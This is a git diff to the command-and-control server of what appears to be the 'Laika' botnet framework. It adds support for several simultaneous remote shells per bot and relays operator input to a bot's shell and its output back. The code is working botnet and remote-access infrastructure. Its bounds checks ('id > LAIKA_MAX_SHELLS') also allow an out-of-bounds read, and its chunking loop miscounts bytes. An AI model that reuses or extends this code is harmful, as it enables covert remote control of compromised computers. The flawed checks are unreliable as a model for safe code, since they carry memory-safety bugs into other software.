laikaS_emptyOutPacket(bInfo->shellAuth, LAIKAPKT_SHELL_CLOSE); - - /* close shell */ - ((struct sLaika_authInfo*)(bInfo->shellAuth->uData))->shellBot = NULL; - bInfo->shellAuth = NULL; -} - /* ============================================[[ Packet Handlers ]]============================================= */ void laikaC_handleAuthenticatedHandshake(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz, void *uData) { struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo*)uData; struct sLaika_cnc *cnc = pInfo->cnc; - authPeer->type = laikaS_readByte(&authPeer->sock); + PEERTYPE type; + int i; - switch (authPeer->type) { + type = laikaS_readByte(&authPeer->sock); + switch (type) { case PEER_AUTH: /* check that peer's pubkey is authenticated */ if (!laikaK_checkAuth(authPeer->peerPub, cnc->authKeys, cnc->authKeysCount)) @@ -107,10 +109,11 @@ void laikaC_handleAuthenticatedShellOpen(struct sLaika_peer *authPeer, LAIKAPKT_ /* link shells */ aInfo->shellBot = peer; - ((struct sLaika_botInfo*)(peer->uData))->shellAuth = authPeer; + aInfo->shellID = laikaC_addShell((struct sLaika_botInfo*)peer->uData, authPeer); /* forward the request to open a shell */ laikaS_startOutPacket(peer, LAIKAPKT_SHELL_OPEN); + laikaS_writeInt(&peer->sock, &aInfo->shellID, sizeof(uint32_t)); laikaS_writeInt(&peer->sock, &cols, sizeof(uint16_t)); laikaS_writeInt(&peer->sock, &rows, sizeof(uint16_t)); laikaS_endOutPacket(peer); @@ -124,10 +127,16 @@ void laikaC_handleAuthenticatedShellClose(struct sLaika_peer *authPeer, LAIKAPKT if (aInfo->shellBot == NULL) return; - - laikaC_closeAuthShell(aInfo); + laikaC_closeAuthShell(authPeer); } +/* improves readability */ +#define SENDSHELLDATA(peer, data, size, id) \ + laikaS_startVarPacket(peer, LAIKAPKT_SHELL_DATA); \ + laikaS_writeInt(&peer->sock, id, sizeof(uint32_t)); \ + laikaS_write(&peer->sock, data, size); \ + laikaS_endVarPacket(peer); + void laikaC_handleAuthenticatedShellData(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz, void *uData) { uint8_t data[LAIKA_SHELL_DATA_MAX_LENGTH]; struct sLaika_authInfo *aInfo = (struct sLaika_authInfo*)uData; @@ -144,14 +153,24 @@ void laikaC_handleAuthenticatedShellData(struct sLaika_peer *authPeer, LAIKAPKT_ /* read data */ laikaS_read(&authPeer->sock, data, sz); + /* forward data to peer */ if (authPeer->osType == peer->osType) { - /* forward raw data to peer */ - laikaS_startVarPacket(peer, LAIKAPKT_SHELL_DATA); - laikaS_write(&peer->sock, data, sz); - laikaS_endVarPacket(peer); + if (sz + sizeof(uint32_t) > LAIKA_SHELL_DATA_MAX_LENGTH) { + /* we need to split the buffer since the packet for c2c->bot includes an id (since a bot can host multiple shells, + while the auth/shell client only keeps track of 1) + */ + + /* first part */ + SENDSHELLDATA(peer, data, sz-sizeof(uint32_t), &aInfo->shellID); + + /* second part */ + SENDSHELLDATA(peer, data + (sz-sizeof(uint32_t)), sizeof(uint32_t), &aInfo->shellID); + } else { + SENDSHELLDATA(peer, data, sz, &aInfo->shellID); + } } else if (authPeer->osType == OS_LIN && peer->osType == OS_WIN) { /* convert data if its linux -> windows */ - uint8_t *buf = NULL; - int i, count = 0, cap = 2; + uint8_t *buf = laikaM_malloc(sz); + int i, count = 0, cap = sz; /* convert line endings */ for (i = 0; i < sz; i++) { @@ -170,19 +189,15 @@ void laikaC_handleAuthenticatedShellData(struct sLaika_peer *authPeer, LAIKAPKT_ /* send buffer (99% of the time this isn't necessary, but the 1% can make buffers > LAIKA_SHELL_DATA_MAX_LENGTH. so we send it in chunks) */ i = count; - while (i > LAIKA_SHELL_DATA_MAX_LENGTH) { - laikaS_startVarPacket(peer, LAIKAPKT_SHELL_DATA); - laikaS_write(&peer->sock, buf + (count - i), LAIKA_SHELL_DATA_MAX_LENGTH); - laikaS_endVarPacket(peer); - + while (i+sizeof(uint32_t) > LAIKA_SHELL_DATA_MAX_LENGTH) { + SENDSHELLDATA(peer, buf + (count - i), LAIKA_SHELL_DATA_MAX_LENGTH-sizeof(uint32_t), &aInfo->shellID); i -= LAIKA_SHELL_DATA_MAX_LENGTH; } /* send the leftovers */ - laikaS_startVarPacket(peer, LAIKAPKT_SHELL_DATA); - laikaS_write(&peer->sock, buf + (count - i), i); - laikaS_endVarPacket(peer); - + SENDSHELLDATA(peer, buf + (count - i), i, &aInfo->shellID); laikaM_free(buf); } -} \ No newline at end of file +} + +#undef SENDSHELLDATA \ No newline at end of file diff --git a/cnc/src/cpeer.c b/cnc/src/cpeer.c new file mode 100644 index 0000000..b1a26a1 --- /dev/null +++ b/cnc/src/cpeer.c @@ -0,0 +1,138 @@ +#include "lmem.h" + +#include "cnc.h" +#include "cpeer.h" + +/* ===============================================[[ Peer Info ]]================================================ */ + +struct sLaika_peerInfo *allocBasePeerInfo(struct sLaika_cnc *cnc, size_t sz) { + struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo*)laikaM_malloc(sz); + + pInfo->cnc = cnc; + pInfo->lastPing = laikaT_getTime(); + pInfo->completeHandshake = false; + return pInfo; +} + +struct sLaika_botInfo *laikaC_newBotInfo(struct sLaika_cnc *cnc) { + struct sLaika_botInfo *bInfo = (struct sLaika_botInfo*)allocBasePeerInfo(cnc, sizeof(struct sLaika_botInfo)); + int i; + + for (i = 0; i < LAIKA_MAX_SHELLS; i++) { + bInfo->shellAuths[i] = NULL; + } + + return bInfo; +} + +struct sLaika_authInfo *laikaC_newAuthInfo(struct sLaika_cnc *cnc) { + struct sLaika_authInfo *aInfo = (struct sLaika_authInfo*)allocBasePeerInfo(cnc, sizeof(struct sLaika_authInfo)); + + aInfo->shellBot = NULL; + return aInfo; +} + +void laikaC_freePeerInfo(struct sLaika_peer *peer, struct sLaika_peerInfo *pInfo) { + peer->uData = NULL; + laikaM_free(pInfo); +} + +/*int laikaC_findAuthShell(struct sLaika_botInfo *bot, uint32_t id) { + struct sLaika_peer *auth; + struct sLaika_authInfo *aInfo; + int i; + + for (i = 0; i < LAIKA_MAX_SHELLS; i++) { + if ((auth = bot->shellAuths[i]) != NULL && (aInfo = auth->uData)->shellID == id) + return i; + } + + return -1; +}*/ + +int laikaC_addShell(struct sLaika_botInfo *bInfo, struct sLaika_peer *auth) { + int i; + + for (i = 0; i < LAIKA_MAX_SHELLS; i++) { + if (bInfo->shellAuths[i] == NULL) { + bInfo->shellAuths[i] = auth; + return i; + } + } + + return -1; +} + +void laikaC_rmvShell(struct sLaika_botInfo *bInfo, struct sLaika_peer *auth) { + int i; + + for (i = 0; i < LAIKA_MAX_SHELLS; i++) { + if (bInfo->shellAuths[i] == auth) { + bInfo->shellAuths[i] = NULL; + return; + } + } +} + +void laikaC_closeBotShells(struct sLaika_peer *bot) { + struct sLaika_botInfo *bInfo = (struct sLaika_botInfo*)bot->uData; + struct sLaika_peer *auth; + int i; + + for (i = 0; i < LAIKA_MAX_SHELLS; i++) { + if ((auth = bInfo->shellAuths[i]) != NULL) { + /* forward to SHELL_CLOSE to auth */ + laikaS_emptyOutPacket(auth, LAIKAPKT_SHELL_CLOSE); + + /* close shell */ + ((struct sLaika_authInfo*)(auth->uData))->shellBot = NULL; + bInfo->shellAuths[i] = NULL; + } + } +} + +/* ============================================[[ Packet Handlers ]]============================================= */ + +void laikaC_handleShellClose(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) { + struct sLaika_botInfo *bInfo = (struct sLaika_botInfo*)uData; + struct sLaika_cnc *cnc = bInfo->info.cnc; + struct sLaika_peer *auth; + uint32_t id; + + laikaS_readInt(&peer->sock, &id, sizeof(uint32_t)); + + /* ignore packet if shell isn't open */ + if (id > LAIKA_MAX_SHELLS || (auth = bInfo->shellAuths[id]) == NULL) + return; + + /* forward SHELL_CLOSE to auth */ + laikaS_emptyOutPacket(auth, LAIKAPKT_SHELL_CLOSE); + + /* close shell */ + ((struct sLaika_authInfo*)(auth->uData))->shellBot = NULL; + bInfo->shellAuths[id] = NULL; +} + +void laikaC_handleShellData(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) { + char buf[LAIKA_SHELL_DATA_MAX_LENGTH]; + struct sLaika_botInfo *bInfo = (struct sLaika_botInfo*)uData; + struct sLaika_peer *auth; + uint32_t id; + + /* ignore packet if malformed */ + if (sz < 1 || sz > LAIKA_SHELL_DATA_MAX_LENGTH+sizeof(uint32_t)) + return; + + laikaS_readInt(&peer->sock, &id, sizeof(uint32_t)); + + /* ignore packet if shell isn't open */ + if (id > LAIKA_MAX_SHELLS || (auth = bInfo->shellAuths[id]) == NULL) + return; + + laikaS_read(&peer->sock, (void*)buf, sz-sizeof(uint32_t)); + + /* forward SHELL_DATA packet to auth */ + laikaS_startVarPacket(auth, LAIKAPKT_SHELL_DATA); + laikaS_write(&auth->sock, buf, sz-sizeof(uint32_t)); + laikaS_endVarPacket(auth); +} diff --git a/lib/include/lpacket.h b/lib/include/lpacket.h index 3bece66..242bf6b 100644 --- a/lib/include/lpacket.h +++ b/lib/include/lpacket.h @@ -13,6 +13,7 @@ #define LAIKA_INET_LEN 22 #define LAIKA_SHELL_DATA_MAX_LENGTH 2048 +#define LAIKA_MAX_SHELLS 16 /* first handshake between peer & cnc works as so: - peer connects to cnc and sends a LAIKAPKT_HANDSHAKE_REQ with the peer's pubkey, hostname & inet ip @@ -83,15 +84,17 @@ enum { */ LAIKAPKT_SHELL_OPEN, /* if sent to bot, opens a shell. if sent to cnc, signifies you opened a shell */ /* layout of LAIKAPKT_SHELL_OPEN: + * uint32_t id; // this field is absent from the panel/auth client * uint16_t cols; * uint16_t rows; */ LAIKAPKT_SHELL_CLOSE, /* if sent to bot, closes a shell. if sent to cnc, signifies a shell was closed */ /* layout of LAIKAPKT_SHELL_CLOSE: - * NULL (empty packet) + * uint32_t id; // this field is absent from the panel/auth client */ LAIKAPKT_SHELL_DATA, /* if sent to bot, writes data to stdin of shell. if sent to cnc, writes to 'stdout' of shell */ /* layout of LAIKAPKT_SHELL_DATA + * uint32_t id; // this field is absent from the panel/auth client * char buf[VAR_PACKET_LENGTH]; */ /* ==================================================[[ Auth ]]================================================== */ diff --git a/shell/src/sclient.c b/shell/src/sclient.c index e2c48c5..a3b5b18 100644 --- a/shell/src/sclient.c +++ b/shell/src/sclient.c @@ -90,8 +90,10 @@ void shellC_handleRmvPeer(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uDat type = laikaS_readByte(&peer->sock); /* ignore panel clients */ - if (type == PEER_AUTH) + if (type == PEER_AUTH) { + LAIKA_DEBUG("got auth!\n"); return; + } if ((bot = shellC_getPeerByPub(client, pubKey, &id)) == NULL) LAIKA_ERROR("LAIKAPKT_AUTHENTICATED_RMV_PEER_RES: Unknown peer!\n");